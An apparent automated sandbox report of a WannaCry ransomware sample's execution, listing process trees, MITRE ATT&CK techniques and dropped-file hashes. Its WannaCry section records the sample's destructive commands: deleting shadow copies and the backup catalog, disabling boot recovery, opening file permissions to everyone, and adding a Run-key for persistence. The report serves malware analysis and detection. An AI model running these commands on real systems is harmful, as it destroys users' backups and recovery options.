  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6864,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=704 /prefetch:8
  2⤵
  PID:5352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6448,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:8
  2⤵
  PID:1636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6764,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6996 /prefetch:8
  2⤵
  PID:1644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=5416,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:1
  2⤵
  PID:2372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=7148,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=6592,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:1
  2⤵
  PID:1920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=6064,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7012 /prefetch:1
  2⤵
  PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5428,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=6352 /prefetch:8
  2⤵
  PID:5228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6912,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:8
  2⤵
  PID:2036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --field-trial-handle=7172,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7228 /prefetch:1
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6992,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7184 /prefetch:8
  2⤵
  PID:5308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5880,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=7696 /prefetch:8
  2⤵
  PID:5428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5244,i,12704528901365661478,15885884555973183747,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:8
  2⤵
  PID:8
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:3160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x23c,0x240,0x244,0x238,0x2f4,0x7ff8def6f208,0x7ff8def6f214,0x7ff8def6f220
    3⤵
    PID:4452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1848,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:3
    3⤵
    PID:1056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2240,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:2
    3⤵
    PID:1708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2548,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:8
    3⤵
    PID:1636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4280,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:8
    3⤵
    PID:3640
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4368,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:8
    3⤵
    PID:6080
- - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4368,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:8
    3⤵
    PID:6060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4384,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:8
    3⤵
    PID:1720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4608,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4300 /prefetch:8
    3⤵
    PID:3152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4612,i,16346368733486543968,2325917237150591643,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:8
    3⤵
    PID:5788

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:3680

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:5912

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3280

C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\WannaCry.EXE
"C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\WannaCry.EXE"
1⤵
- Drops startup file
- Sets desktop wallpaper using registry
- System Location Discovery: System Language Discovery
PID:3308
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:4872
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  - System Location Discovery: System Language Discovery
  PID:1956
- C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4908
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 242971744988781.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3836
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2680
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +s F:\$RECYCLE
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:5600
- C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]
  @[email protected] co
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1164
- - C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2212
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2832
- - C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]
    @[email protected] vs
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1356
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      System Location Discovery: System Language Discovery
      PID:5760
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5088
- C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4276
- C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\taskse.exe
  taskse.exe C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2008
- C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5412
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ecvwkmllmsw805" /t REG_SZ /d "\"C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\tasksche.exe\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2000
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ecvwkmllmsw805" /t REG_SZ /d "\"C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\tasksche.exe\"" /f
    3⤵
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3900

C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\WannaCry.EXE
"C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\WannaCry.EXE"
1⤵
- System Location Discovery: System Language Discovery
PID:4156
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:1612
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  - System Location Discovery: System Language Discovery
  PID:3764

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4968

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff8dd3fdcf8,0x7ff8dd3fdd04,0x7ff8dd3fdd10
  2⤵
  PID:432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2020,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=2212 /prefetch:3
  2⤵
  PID:2096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2140,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=2136 /prefetch:2
  2⤵
  PID:4624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1920,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=2564 /prefetch:8
  2⤵
  PID:4952
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3408,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:2924
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3216,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=3228 /prefetch:1
  2⤵
  PID:464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4452,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=4472 /prefetch:2
  2⤵
  PID:4688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4696,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=3896 /prefetch:1
  2⤵
  PID:1552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=4904,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=4928 /prefetch:1
  2⤵
  PID:712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=3524,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=3540 /prefetch:8
  2⤵
  PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5352,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=5340 /prefetch:8
  2⤵
  PID:1888
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5484,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=5396 /prefetch:8
  2⤵
  PID:4656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5664,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=5640 /prefetch:8
  2⤵
  PID:3380
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5648,i,17689051621702313302,16382180160569607271,262144 --variations-seed-version=20250409-205551.032000 --mojo-platform-channel-handle=5388 /prefetch:8
  2⤵
  PID:1384

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2648

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5856

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\Downloads\WannaCry-main\WannaCry-main\tasksche.exe"
1⤵
PID:4656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\LICENSE

Filesize
1KB

MD5
ee002cb9e51bb8dfa89640a406a1090a

SHA1
49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2

SHA256
3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b

SHA512
d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1583223121\manifest.json

Filesize
85B

MD5
c3419069a1c30140b77045aba38f12cf

SHA1
11920f0c1e55cadc7d2893d1eebb268b3459762a

SHA256
db9a702209807ba039871e542e8356219f342a8d9c9ca34bcd9a86727f4a3a0f

SHA512
c5e95a4e9f5919cb14f4127539c4353a55c5f68062bf6f95e1843b6690cebed3c93170badb2412b7fb9f109a620385b0ae74783227d6813f26ff8c29074758a1

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping4140_1589139917\manifest.json

Filesize
176B

MD5
6607494855f7b5c0348eecd49ef7ce46

SHA1
2c844dd9ea648efec08776757bc376b5a6f9eb71

SHA256
37c30639ea04878b9407aecbcea4848b033e4548d5023ce5105ea79cab2c68dd

SHA512
8cb60725d958291b9a78c293992768cb03ff53ab942637e62eb6f17d80e0864c56a9c8ccafbc28246e9ce1fdb248e8d071d76764bcaf0243397d0f0a62b4d09a

Download Submit
C:\ProgramData\Microsoft\AppV\Setup\@[email protected]

Filesize
813B

MD5
a7cde0ee8cb98f4b0f08afbbacb7a3c8

SHA1
a8484c8ef9d783baee301338fae4e2d5834abd29

SHA256
a15d09fb2ff6df5567ff126eb8c1117e406b902059fe5b75401abf698978d701

SHA512
5baa9d87ee52613f79e67feec5591103a85ec11a1db95aafd3810b95d327c7060e07e47866381efeb7703b32ecbbea6944d567226908caafa5c93db152d79474

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\8b52526b-496b-4e50-a9f9-da2f655d8f91.tmp

Filesize
151KB

MD5
f4eebe9567f99d030b7428f11da4fbc4

SHA1
ffb70e040a8df637493bee073784987bb802a017

SHA256
017549360da67a5aa96f5ee36136f9645cf758538383e3a828a9ff1f67072a8f

SHA512
f82e69deeeb146ab28c1060214c57c9236a4dac169a5d4dca0ff167b48086c4d12ec852dcc3b01daa459062c3012edcda7156a68affe42009f1737bf281c22b2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
f7b5125afb844837264e64e4bd0807dc

SHA1
95c101eb77b9c999ae8772e5caf5fb6bde56a202

SHA256
86653a63264894c142df0c6add995de6b037d774df9f99a4e37f15ecca41ad33

SHA512
ea1314a7eb9138ace1125f6e1c0f73fb1b62a0b9b2b4e3093fa8e5c84cd4470779e44abcf6ea974778cf00d7d373d39ad5e2c8ddef375cd71575529844e5dd72

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000001

Filesize
217KB

MD5
fc4f627ddf54943afa716e1ac1c695c3

SHA1
5377bdb788bc19b76e5b7cb8bcb9110394bf1812

SHA256
1c569628639cf777d2a69e37daa3c970165d1e1fc7f4518b4810b050810d0d88

SHA512
be9e9c47914d2973311e017bfd9846a7aaa88b3b90f49a45edb86aa594f32c2040aa25d1bfa927745524a7a145f2095b6f853de62d3a2118353633b990a3f2ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
8e602976a1bf208bd8cf5df86d83c389

SHA1
35be5471fdd7696dda4e5c1b62956e13066565e5

SHA256
f7dba2fd343cc1c23b4b6fe3f1e8fbd1502ee0a437b08b6f1947a02b02bf039c

SHA512
04dd8e237e1e87baea87cc5d40aaf1f635b80d72f39fa07bdb40895f9b6d44b116669241712e31af9a50e7ed7daa92109221cb9b2e3c561ed6baadd68f72414f

